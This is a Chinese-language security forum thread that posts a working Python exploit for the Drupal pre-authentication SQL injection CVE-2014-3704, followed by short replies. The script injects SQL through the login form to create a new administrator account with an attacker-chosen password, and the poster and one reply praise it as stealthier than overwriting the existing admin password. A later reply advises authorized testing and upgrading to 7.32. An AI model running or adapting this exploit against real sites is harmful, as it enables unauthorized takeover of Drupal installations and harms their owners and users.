查看: 16953|回复: 6

Drupal - pre Auth SQL Injection Vulnerability(CVE-2014-3704)

[复制链接]
发表于 2014-10-16 19:15:24 | 显示全部楼层 |阅读模式
[AppleScript] 查看源码 复制代码
import urllib2,sys
from drupalpass import DrupalHash # [url]http://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py[/url]
if len(sys.argv) != 4:
    print ""
    print "python 7.xSQL.py  [url]http://xxoo.com/drupal[/url] admin 123456"
    print ""
    sys.exit(1)
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
insert_user = "name[0%20;set+@a%3d%28SELECT+MAX%28uid%29+FROM+users%29%2b1;INSERT+INTO+users+set+uid%3d@a,status%3d1,name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"';INSERT+INTO+users_roles+set+uid%3d@a,rid%3d3;;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
#print insert_user
content = urllib2.urlopen(url=target, data=insert_user).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

网上的POC直接修改管理员的密码太暴力了,此EXP是添加一个自定义账号密码的管理员权限用户

下载 http://github.com/cvangysel/gite ... alorg/drupalpass.py 放到同目录即可。
回复

使用道具 举报

发表于 2014-10-17 16:49:01 | 显示全部楼层
{:soso_e103:}看不懂,这个事什么CMS的
回复 支持 反对

使用道具 举报

发表于 2014-10-17 21:59:29 | 显示全部楼层
表示看不懂,不明觉厉
回复 支持 反对

使用道具 举报

发表于 2014-10-18 21:44:36 | 显示全部楼层
靠谱么 怎么测试报错啊
回复 支持 反对

使用道具 举报

发表于 2026-5-21 08:05:00 | 显示全部楼层

Re: Drupal - pre Auth SQL Injection Vulnerability(CVE-2014-3704)

感谢分享这个POC。相比直接修改管理员密码,添加自定义账号的方式确实更隐蔽,也更便于后续利用。不过这类漏洞的公开利用代码还是要谨慎测试,避免对生产环境造成影响。另外,DrupalHash的依赖也一并给出了,方便跑脚本的人快速搭建环境。请问你在测试中是否遇到过某些Drupal版本的回显差异?
回复 支持 反对

使用道具 举报

发表于 4 天前 | 显示全部楼层

Re: Drupal - pre Auth SQL Injection Vulnerability(CVE-2014-3704)

这个漏洞利用思路很巧妙,通过构造SQL注入直接插入新用户,避免破坏原有管理员账号。不过代码中 `hash[:55]` 截取哈希前55字符,需要确认 `DrupalHash` 生成的哈希长度是否符合预期;另外注意 `urllib2.urlopen` 对特殊字符的编码处理,有时需要手动 `urllib.quote` 避免请求失败。测试前建议先在本地环境验证,避免对生产站造成意外影响。
回复 支持 反对

使用道具 举报

发表于 4 天前 | 显示全部楼层

Re: Drupal - pre Auth SQL Injection Vulnerability(CVE-2014-3704)

这个漏洞利用代码写得挺清晰的,直接通过预认证SQL注入添加自定义管理员账户,比直接改密码温和些,但本质上危害依然很大。提醒一下,在测试或复现时务必在授权环境中操作,不要用于未授权的站点。如果你在维护Drupal站点,建议尽快升级到修复版本(7.32或更高),同时检查是否有异常用户被插入。感谢分享PoC思路,有助于安全研究者理解漏洞原理。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-6-25 03:55 , Processed in 0.046256 second(s), 18 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部